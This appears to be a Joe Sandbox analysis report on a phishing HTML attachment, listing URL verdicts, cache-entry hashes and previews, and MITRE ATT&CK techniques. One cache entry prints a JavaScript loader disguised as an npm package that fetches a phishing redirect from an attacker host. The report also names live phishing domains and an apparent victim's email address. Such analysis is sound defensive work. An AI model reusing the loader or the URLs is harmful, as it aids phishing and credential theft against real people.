l.init(r,e/2)}},a=s.Latin1={stringify:function(t){for(var e=t.words,r=t.sigBytes,i=[],n=0;n<r;n++){var o=e[n>>>2]>>>24-n%48&255;i.push(String.fromCharCode(o))}return i.join("")},parse:function(t){for(var e=t.length,r=[],i=0;i<e;i++)r[i>>>2]\|=(255&t.charCodeAt(i))<<24-i%48;return new l.init(r,e)}},f=s.Utf8={stringify:function(t){try{return decodeURIComponent(escape(a.stringify(t)))}catch(t){throw new Error("Malformed UTF-8 data")}},parse:function(t){return a.parse(unescape(encodeURIComponent(t)))}},d=n.BufferedBlockAlgorithm=o.extend({reset:function(){this._data=new l.init,this._nDataBytes=0},_append:function(t){"string"==typeof t&&(t=f.parse(t)),this._data.concat(t),this._nDataBytes+=t.sigBytes},_process:function(t){var e,r=this._data,i=r.words,n=r.sigBytes,o=this.blockSize,s=n/(4o),c=(s=t?h.ceil(s):h.max((0\|s)-this._minBufferSize,0))o,n=h.min(4*c,n);if(c){for(var a=0;a<c;a+=o)this._doProcessBlock(i,a);e=i.splice(0,c),r.sigBytes-=n}return new l.init(e,n)},clone:function(){var t=o.clone.call(this);return t._data=this._data.clone(),t},_minBufferSize:0}),u=(n.Hasher=d.extend({cfg:o.extend(),init:function(t){this.cfg=this.cfg.extend(t),this.reset()},reset:function(){d.reset.call(this),this._doReset()},update:function(t){return this._append(t),this._process(),this},finalize:function(t){return t&&this._append(t),this._doFinalize()},blockSize:16,_createHelper:function(r){return function(t,e){return new r.init(e).finalize(t)}},_createHmacHelper:function(r){return function(t,
URL: https://topimo.trilidarn.ru/kyVPsDa/#Mfwilliams@liftone.net Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "Ensuring secure access by running browser checks.", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://topimo.trilidarn.ru/kyVPsDa/#Mfwilliams@liftone.net Model: Joe Sandbox AI	{ "brands": [ "Cloudflare" ] }
	{ "brands": [ "Cloudflare" ] }
URL: https://topimo.trilidarn.ru Model: Joe Sandbox AI	{ "typosquatting": false, "unusual_query_string": false, "suspicious_tld": true, "ip_in_url": false, "long_subdomain": false, "malicious_keywords": false, "encoded_characters": false, "redirection": false, "contains_email_address": false, "known_domain": false, "brand_spoofing_attempt": false, "third_party_hosting": true, "reasoning": "The URL uses a .ru (Russian) TLD which is often associated with suspicious activities. The domain name appears to be randomly generated or meaningless, and is not a known legitimate service. Russian TLD combined with an unknown domain increases suspicion level." }
URL: https://topimo.trilidarn.ru
URL: https://trilidarn.ru Model: Joe Sandbox AI	{ "typosquatting": false, "unusual_query_string": false, "suspicious_tld": true, "ip_in_url": false, "long_subdomain": false, "malicious_keywords": false, "encoded_characters": false, "redirection": false, "contains_email_address": false, "known_domain": false, "brand_spoofing_attempt": false, "third_party_hosting": false, "reasoning": "The .ru TLD (Russian Federation) is often associated with suspicious activities and malware distribution. The domain name appears unfamiliar and doesn't correspond to any well-known brand or service." }
URL: https://trilidarn.ru

Created / dropped Files

Chrome Cache Entry: 54

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	data
Category:	dropped
Size (bytes):	1687
Entropy (8bit):	7.878251008693767
Encrypted:	false
SSDEEP:
MD5:	53613BE6D4D81D848D3485498C8E7317
SHA1:	DA205EE931DB854E52AE75A3A9C3D24428E834A6
SHA-256:	A25EB29322D361B9C84C9CA92490C9F947DBCDF1D77C0B6F8DAE518EE51D25B8
SHA-512:	55A54C1B2A884F03EC3E62E6C693A471D22D592762BBFCAB4F12EBAB4FE9C7488AF1EDC9113DB7EA0B5EA7224BDE8F0E6EEE1D4EE04D4382823DBC72735C6E46
Malicious:	false
Reputation:	unknown
Preview:	.............M.<V..tN.b...X.Y#..H.MB+vz........v.t.EP....DNT..w-.....iZ.9.#:#..t:....9...B....3....z...5.U...$.Y.E........f.F.1.$,.....\.#..6..s.{.Y..7...`.6J....>..ZW.G..G.9.....+.X.....^F.j.....]y.{[z&.......K..9...P...Fj.....9..N.......d.NA..:..;..CU...../wn}B..Q^u{.I....8"yL.m.?.{....!..T.k..x.9...:.OZ.O.o..L.r^KN.A...9..w..f...n@#....$D..../...W"]m....F..+d.q...[d;.o[.Sr...y....1.x4.q....0.Z..@A.W$h....wk..)E,.x...J.+U....!....f.P...C......;...@.!.95t*.nE.[=.l..T.,w.v.w$........l........=/.j..K.;...g.R}...g...rH.iJ.5.rps.-......Pd?....9...).....U........]R.a.[.N2...V{..O.W........f.....4tq;?.....D.;.....-f.%......,#8..,7.....N._r....q..)..;...M\.tz.w...x..<..Yz.^,..............XUs....0.}.x.b.-...0c.y.}<....$..Y...s.H..8.S..Mu.VI......:.".pNk."k.&..]........<......Vx.... a..wi.f..]bk.N.\|l.2.w..#+...2.,....2.%,...e$(...z........_[..'w@.@..+.....n..#....s..g..=?.%..x(V.......~..U..i.2gX.......].5.,.yj.....m....z.....[9...S.'.~...x;

Chrome Cache Entry: 55

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65447)
Category:	dropped
Size (bytes):	87533
Entropy (8bit):	5.262536918435756
Encrypted:	false
SSDEEP:
MD5:	2C872DBE60F4BA70FB85356113D8B35E
SHA1:	EE48592D1FFF952FCF06CE0B666ED4785493AFDC
SHA-256:	FC9A93DD241F6B045CBFF0481CF4E1901BECD0E12FB45166A8F17F95823F0B1A
SHA-512:	BF6089ED4698CB8270A8B0C8AD9508FF886A7A842278E98064D5C1790CA3A36D5D69D9F047EF196882554FC104DA2C88EB5395F1EE8CF0F3F6FF8869408350FE
Malicious:	false
Reputation:	unknown
Preview:	/! jQuery v3.7.1 \| (c) OpenJS Foundation and other contributors \| jquery.org/license /.!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(ie,e){"use strict";var oe=[],r=Object.getPrototypeOf,ae=oe.slice,g=oe.flat?function(e){return oe.flat.call(e)}:function(e){return oe.concat.apply([],e)},s=oe.push,se=oe.indexOf,n={},i=n.toString,ue=n.hasOwnProperty,o=ue.toString,a=o.call(Object),le={},v=function(e){return"function"==typeof e&&"number"!=typeof e.nodeType&&"function"!=typeof e.item},y=function(e){return null!=e&&e===e.window},C=ie.document,u={type:!0,src:!0,nonce:!0,noModule:!0};function m(e,t,n){var r,i,o=(n=n\|\|C).createElement("script");if(o.text=e,t)for(r in u)(i=t[r]\|\|t.getAttribute&&t.getAttribute(r))&&o.setAttribute(r,i);n.head.appendChild(o).parentNode.remove

Chrome Cache Entry: 57

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	2009
Entropy (8bit):	3.780989940549515
Encrypted:	false
SSDEEP:
MD5:	6DAA3DA7A00F06D4351BFFDF661D65BF
SHA1:	E7BCA33A46438D9833FF96A614A990CA90BB3DCE
SHA-256:	35FF658910C0DA186EF710711AA1C774756BC6E2855D7783BB2FF0A36EDF0308
SHA-512:	BCB3875FF729A94DD7DA3C0D90760FE59FDCBF9657938E599DF552F10313BB61104535275C4266BBE8A1E8D9AB79DB0E3D118856A2FAD62A92617F950EF7E626
Malicious:	false
Reputation:	unknown
URL:	https://cdn.jsdelivr.net/npm/citiycar8@2.1.9/MOMENTUM/NOW.API.JS
Preview:	..const urlx = 'https://natrium100gram.site/public/api/page/redirect';..... // Function to perform GET request. async function fetchData() {. try {. . const response = await fetch(urlx);.. if (!response.ok) {. throw new Error('Network response was not ok');. }.. . const data = await response.json();. . const message = data.message;.. return message ;.. . let messageUrl = message;.. } catch (error) {. // Handle errors. console.error('There was a problem with the fetch operation:', error);. }. }... async function run() {. console.log("readya!");. let key = "";. let jk = "";. const originalConsoleLog = console.log;. console.log = function(message) {. window.open(message,"_se

Chrome Cache Entry: 58

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	209
Entropy (8bit):	4.924438477368104
Encrypted:	false
SSDEEP:
MD5:	72F5925266AB63756C0BA54F77DB6A5A
SHA1:	73DAF7DC80EF2EDB9D17DA52D9D11BCDA722023E
SHA-256:	30D4A9532FB69D172EEC610A25B65435EF7FC506ACCD402D94CB9D9003B80812
SHA-512:	0EFF0ACF78D520AE186EA5D66A9F7E4C4B70F8C761C9263FD26EF12DF912BDAA01A76C340052AE6A9B5BB73B4EF37F170795EAD93F47AE6DDB4757903E83526B
Malicious:	false
Reputation:	unknown
Preview:	{"id":428,"key":"minded","username":"Minded","url_target":"https:\/\/topimo.trilidarn.ru\/kyVPsDa\/#M","optional_url":null,"created_at":"2025-01-09T19:41:31.000000Z","updated_at":"2025-02-07T19:41:31.000000Z"}

Chrome Cache Entry: 60

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65447)
Category:	dropped
Size (bytes):	89501
Entropy (8bit):	5.289893677458563
Encrypted:	false
SSDEEP:
MD5:	8FB8FEE4FCC3CC86FF6C724154C49C42
SHA1:	B82D238D4E31FDF618BAE8AC11A6C812C03DD0D4
SHA-256:	FF1523FB7389539C84C65ABA19260648793BB4F5E29329D2EE8804BC37A3FE6E
SHA-512:	F3DE1813A4160F9239F4781938645E1589B876759CD50B7936DBD849A35C38FFAED53F6A61DBDD8A1CF43CF4A28AA9FFFBFDDEEC9A3811A1BB4EE6DF58652B31
Malicious:	false
Reputation:	unknown
Preview:	/! jQuery v3.6.0 \| (c) OpenJS Foundation and other contributors \| jquery.org/license /.!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(C,e){"use strict";var t=[],r=Object.getPrototypeOf,s=t.slice,g=t.flat?function(e){return t.flat.call(e)}:function(e){return t.concat.apply([],e)},u=t.push,i=t.indexOf,n={},o=n.toString,v=n.hasOwnProperty,a=v.toString,l=a.call(Object),y={},m=function(e){return"function"==typeof e&&"number"!=typeof e.nodeType&&"function"!=typeof e.item},x=function(e){return null!=e&&e===e.window},E=C.document,c={type:!0,src:!0,nonce:!0,noModule:!0};function b(e,t,n){var r,i,o=(n=n\|\|E).createElement("script");if(o.text=e,t)for(r in c)(i=t[r]\|\|t.getAttribute&&t.getAttribute(r))&&o.setAttribute(r,i);n.head.appendChild(o).parentNode.removeChild(o)}funct

Chrome Cache Entry: 64

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Zstandard compressed data (v0.8+), Dictionary ID: None
Category:	downloaded
Size (bytes):	5257
Entropy (8bit):	7.948766123667811
Encrypted:	false
SSDEEP:
MD5:	EC900B231DAE815BD4494E2276AC49BB
SHA1:	F59A1F67C6B5FA3D56B100F967A3AEBF647A49F5
SHA-256:	134A336966FE60E892C78A228B50CC03CF32141761E6EE30822B195D688BDBE3
SHA-512:	CFE1EAD74330493E7A4048E65AE30FE30B44F4FFF5E682AC8624C8B6D1D28471BA18CE165A386CF370B0487EA6C40B11544475F07C7AFCD4C2891455317396BD
Malicious:	false
Reputation:	unknown
URL:	https://topimo.trilidarn.ru/kyVPsDa/
Preview:	(./..X...C.=..hH...\.....,.Oj".../..\n0...Bs.<..0^..b<.A......d.. ..\.n.'..S....J.......8......T...{l.J.UK..E...#0&........:\|....V...W........nOM.......<...s.d.y.JK.&Y..>b....\.I.7.......1...N\|=...T.}7.".Gny.NF.Dk.,.;.....PW......M.5...kX..D.PH.c..o.....j."..}nKO..v.E.n.+.Q.:.'..RC.J...4....N.q...PY.....F.K.Q..p......cW........kf..j=4,........A..3.u..e..8.....Mx..t~.H..../q...=....).......WCf9....t..q../F..I..T[.Ss.T"/...P."i.N.e......k...9.....7.B...>...$..v..,..Y.8.sP%v.......t..0x.p"..".....p.Pm..-$Ob.Qn...q],jw.......g.........j.n>Y.ly3U....W..[.J/mp..K>:..".i.........k.Z{..}.;.Jw.,w.c.T..T...=..>...c.{.Y.......;..O.............W+..c.r......p...DE.L=.?v......\|...x.0h2"...?).k.h..f..F... ^.....Tz.d.c.}......=.I......k......"t.".n...S.lr.>.N..k`2"....b..v%...-.\|.../AZ~.y~...u..=....+......n.........fy...........qMZ....J..>.....6..V....l..H...K. .8.....`). r~_.a.~fGR.I.pE.,@r.....8L....f..@........G.`.....X..a.}.e}.

Chrome Cache Entry: 67

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (47520)
Category:	dropped
Size (bytes):	47521
Entropy (8bit):	5.3981340461317835
Encrypted:	false
SSDEEP:
MD5:	7C92EC9D1395055CE0405A32607C7291
SHA1:	4EF0060484503E7A3D005254484D5A7FACF42F27
SHA-256:	A0DDAE0FB79C4A4A66D8613157A0703771FA9BE1A75790FCCF5EEEBAA329788B
SHA-512:	D5FAD8CE3B4B3603A6C48676E3F561437034F469875608FF1795505BFA89853A63767E32A1E65BC541DF18C555F93DB42896AA0C1EBD9B162EFC1899FE2D925B
Malicious:	false
Reputation:	unknown
Preview:	"use strict";(function(){function Wt(e,r,n,o,c,u,g){try{var h=e[u](g),l=h.value}catch(p){n(p);return}h.done?r(l):Promise.resolve(l).then(o,c)}function Ht(e){return function(){var r=this,n=arguments;return new Promise(function(o,c){var u=e.apply(r,n);function g(l){Wt(u,o,c,g,h,"next",l)}function h(l){Wt(u,o,c,g,h,"throw",l)}g(void 0)})}}function D(e,r){return r!=null&&typeof Symbol!="undefined"&&r[Symbol.hasInstance]?!!r[Symbol.hasInstance](e):D(e,r)}function Me(e,r,n){return r in e?Object.defineProperty(e,r,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[r]=n,e}function Fe(e){for(var r=1;r<arguments.length;r++){var n=arguments[r]!=null?arguments[r]:{},o=Object.keys(n);typeof Object.getOwnPropertySymbols=="function"&&(o=o.concat(Object.getOwnPropertySymbols(n).filter(function(c){return Object.getOwnPropertyDescriptor(n,c).enumerable}))),o.forEach(function(c){Me(e,c,n[c])})}return e}function Ar(e,r){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertyS

Chrome Cache Entry: 68

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	data
Category:	downloaded
Size (bytes):	1687
Entropy (8bit):	7.890036990726315
Encrypted:	false
SSDEEP:
MD5:	9CAE9AF90A18F887B3838A15D3BBEBED
SHA1:	2E2757699E40E77016B9C2E4FAB8BE3780296BC1
SHA-256:	27915C2D5FBF0D17288393D8E7FAFE3EA1C87B420308E158597452FDADDE213C
SHA-512:	C0870B9D88B1E3829E35EB2CE59F476C5057DE86F2DC2E587C344D8AF97391F5C09EB6CD8913C51C817D22FA8246F0BD8635B7DE198BA558724405B761E72E13
Malicious:	false
Reputation:	unknown
URL:	https://pending-revew.pages.dev/
Preview:	c.Hn.@............cu.J..._..E.5B....$.b.Wk.}.=.p.hwK._.E.r. K.D..y......5.c9.3.]O...(}..... $)..=.j....X.Z.^.k.L...Q.?....AP.m.a...B.._....5:r^`#..9g...%.}...Fj....Z. .u5yD.p....Y...u.n...et....ZL...g.o>...A...\...]..n.o..po.\..z.t....:L...t.....s.:T...y..r..'D...U.......#..........G..<...K%.v.w.............fx.4!........3.....lF...4...@LB$..x..~..%.......j.0.B......E.....8%7M....x._.#.G...9/p....I...yE.V.H.}.F...R.B.g>!.$.R.K....n.{o.....9.O..;..c ......SC.b.VT......@..r.oW.yG.^.`>L.q.&H.n..1M....&.....?.. ..?.V.../..tYc,.7..b....z.E.c.@{..j..k..\eX.yq..l.}.%E....$.>.o.....yE.....@.n..-~LC...SA..OO..3..`X.b.\.K8....2....r.K.....%'.-X`............I.7~.z....7......'..RI.yo?..x.~l..U5.W..S...-..b..3V....sPQ+M2....=.4...>..}.T.j...;+.m.. ...."..mR..E..yJ.....\..,.o..x......q..mVN..%......6,c{..>.r:./.."M..r,.Y.....XF.2...a....KX...K.r......KIx..v~*.?...?'.~6....SPR;..be.O.:.Yn\|....Y.....,s.....q.~..^..b..vPln..........mX...C..>Ex....

Chrome Cache Entry: 69

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 2 x 2, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	61
Entropy (8bit):	3.990210155325004
Encrypted:	false
SSDEEP:
MD5:	9246CCA8FC3C00F50035F28E9F6B7F7D
SHA1:	3AA538440F70873B574F40CD793060F53EC17A5D
SHA-256:	C07D7D29E3C20FA6CA4C5D20663688D52BAD13E129AD82CE06B80EB187D9DC84
SHA-512:	A2098304D541DF4C71CDE98E4C4A8FB1746D7EB9677CEBA4B19FF522EFDD981E484224479FD882809196B854DBC5B129962DBA76198D34AAECF7318BD3736C6B
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...............s....IDAT.....$.....IEND.B`.

Chrome Cache Entry: 70

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Zstandard compressed data (v0.8+), Dictionary ID: None
Category:	downloaded
Size (bytes):	13
Entropy (8bit):	3.5465935642949384
Encrypted:	false
SSDEEP:
MD5:	E09C3D77EF897191660B908218F413E1
SHA1:	DE4597455EFFC2623C3FD6B69FA812A66C475100
SHA-256:	355382ACC32B88120E9126B76F46642081AC688504FA6534980405B2942C4D9F
SHA-512:	3E696F02546C8263507A4572AE9ABB0754409F98BA4C6848901F08BFF310D8CF0D0660F822EB3BFB58C368FD5E747924C5BC2253069B1A652E32E9DAD64AF64A
Malicious:	false
Reputation:	unknown
URL:	https://topimo.trilidarn.ru/favicon.ico
Preview:	(./..X......Q

Chrome Cache Entry: 72

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 48 x 67, 8-bit/color RGB, non-interlaced
Category:	downloaded
Size (bytes):	61
Entropy (8bit):	4.068159130770306
Encrypted:	false
SSDEEP:
MD5:	60E63C1CE940BB5DE85E20E02D5880DD
SHA1:	36875AA9AE31F7351F02CABB986EB970A0AACE3D
SHA-256:	9A7A2E71FA238186DA55988D58DED5D3E1D2D782B3741D0E7649A1428ED4A21F
SHA-512:	E0C1A442BDD48BC8877BED57F372012AB4778CB3423CFB477077FCA74E27A79C66F78510BB44D02FE8A801F27B83AA975D6540CEDA1B91E6017E1BCBF52DA34D
Malicious:	false
Reputation:	unknown
URL:	https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/i/9028ef0719b60f73/1736976279663/LDCu1Lyoc0xujrc
Preview:	.PNG........IHDR...0...C.....U.......IDAT.....$.....IEND.B`.

Chrome Cache Entry: 73

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (48316), with no line terminators
Category:	downloaded
Size (bytes):	48316
Entropy (8bit):	5.6346993394709
Encrypted:	false
SSDEEP:
MD5:	2CA03AD87885AB983541092B87ADB299
SHA1:	1A17F60BF776A8C468A185C1E8E985C41A50DC27
SHA-256:	8E3B0117F4DF4BE452C0B6AF5B8F0A0ACF9D4ADE23D08D55D7E312AF22077762
SHA-512:	13C412BD66747822C6938926DE1C52B0D98659B2ED48249471EC0340F416645EA9114F06953F1AE5F177DB03A5D62F1FB5D321B2C4EB17F3A1C865B0A274DC5C
Malicious:	false
Reputation:	unknown
URL:	https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.1.1/crypto-js.min.js
Preview:	!function(t,e){"object"==typeof exports?module.exports=exports=e():"function"==typeof define&&define.amd?define([],e):t.CryptoJS=e()}(this,function(){var n,o,s,a,h,t,e,l,r,i,c,f,d,u,p,S,x,b,A,H,z,_,v,g,y,B,w,k,m,C,D,E,R,M,F,P,W,O,I,U=U\|\|function(h){var i;if("undefined"!=typeof window&&window.crypto&&(i=window.crypto),"undefined"!=typeof self&&self.crypto&&(i=self.crypto),!(i=!(i=!(i="undefined"!=typeof globalThis&&globalThis.crypto?globalThis.crypto:i)&&"undefined"!=typeof window&&window.msCrypto?window.msCrypto:i)&&"undefined"!=typeof global&&global.crypto?global.crypto:i)&&"function"==typeof require)try{i=require("crypto")}catch(t){}var r=Object.create\|\|function(t){return e.prototype=t,t=new e,e.prototype=null,t};function e(){}var t={},n=t.lib={},o=n.Base={extend:function(t){var e=r(this);return t&&e.mixIn(t),e.hasOwnProperty("init")&&this.init!==e.init\|\|(e.init=function(){e.$super.init.apply(this,arguments)}),(e.init.prototype=e).$super=this,e},create:function(){var t=this.extend();

Chrome Cache Entry: 75

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	78
Entropy (8bit):	4.3818424507205185
Encrypted:	false
SSDEEP:
MD5:	871B4DF854B06DFB3A615FD61ECC7490
SHA1:	8B6D66569748C631D5F11EC79320A55A4E8D5898
SHA-256:	C2F98625602B952B42A41C21999DD9522E4B12B2FC6E75AB05DF491B5D8EF0EC
SHA-512:	314744BB3D227522284F702D73F2968E0856882E1497EE10E4B2F1D6FC39746D2C823A6259878A92A828535AAAAB65A6196A6F2C61F1B376A3190EA1C2A9B5AF
Malicious:	false
Reputation:	unknown
Preview:	{"status":"success","message":"https:\/\/pending-revew.pages.dev\/#?service="}

Static File Info

General

File type:	HTML document, ASCII text, with very long lines (424), with CRLF line terminators
Entropy (8bit):	4.624444587005303
TrID:	HyperText Markup Language (15015/1) 20.56% HyperText Markup Language (12001/1) 16.44% HyperText Markup Language (12001/1) 16.44% HyperText Markup Language (11501/1) 15.75% HyperText Markup Language (11501/1) 15.75%
File name:	A_C_H_JAN14.htm
File size:	6'676 bytes
MD5:	1df9751c6e80d2f2a9fa3c926e118317
SHA1:	e89c7c6e532e82d7bf2d1471a061a9b29258819e
SHA256:	916859eff63990aa5fe16534bf4fbab689af37db673be426289f6bfdba68abc7
SHA512:	d0e42467c4814a6099fbeaa007974a16609abccd8a23fdfda2cf504a126eea9ccf9a759966edbfba5da0aa4af2c88b106c33a4a46d9b5c970cb659cdf49c79ab
SSDEEP:	48:thQ2hqMj9VQwpivTD3F7Xn/lDM+RUafaCU7bMGVTxZG6XvALII5n63xs4IUbyLcI:ThCvvXFBVUayJrq6/fI5nm7WLUWt1co
TLSH:	A1D174002CA9511542B792724B33E50AFF6267271301D399BBEDD7460FF79248AA7AEC
File Content Preview:	<!DOCTYPE html>..<html lang="en">..<head>.. <meta charset="UTF-8">.. <meta name="viewport" content="width=device-width, initial-scale=1.0">.. <title>Loading Document - Enhanced</title>.. <style>.. body {.. margin: 0;..

File Icon


Icon Hash:	1270ce868a8686b8

Description:	Adversaries may abuse Internet browser extensions to establish persistent access to victim systems. Browser extensions or plugins are small programs that can add functionality and customize aspects of Internet browsers. They can be installed directly or through a browser's app store and generally have access and permissions to everything that the browser can access.
Tactics:	Persistence
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Process: Process Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report A_C_H_JAN14.htm

Overview

General Information

Detection

Signatures

Classification

Process Tree

Yara Signatures

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

Phishing

Compliance

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Mitre Att&ck Matrix

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

LLM Input / Output

Created / dropped Files

Chrome Cache Entry: 54

Chrome Cache Entry: 55

Chrome Cache Entry: 57

Chrome Cache Entry: 58

Chrome Cache Entry: 60

Chrome Cache Entry: 64

Chrome Cache Entry: 67

Chrome Cache Entry: 68

Chrome Cache Entry: 69

Chrome Cache Entry: 70

Chrome Cache Entry: 72

Chrome Cache Entry: 73

Chrome Cache Entry: 75

Static File Info

General

File Icon

Windows Analysis Report
A_C_H_JAN14.htm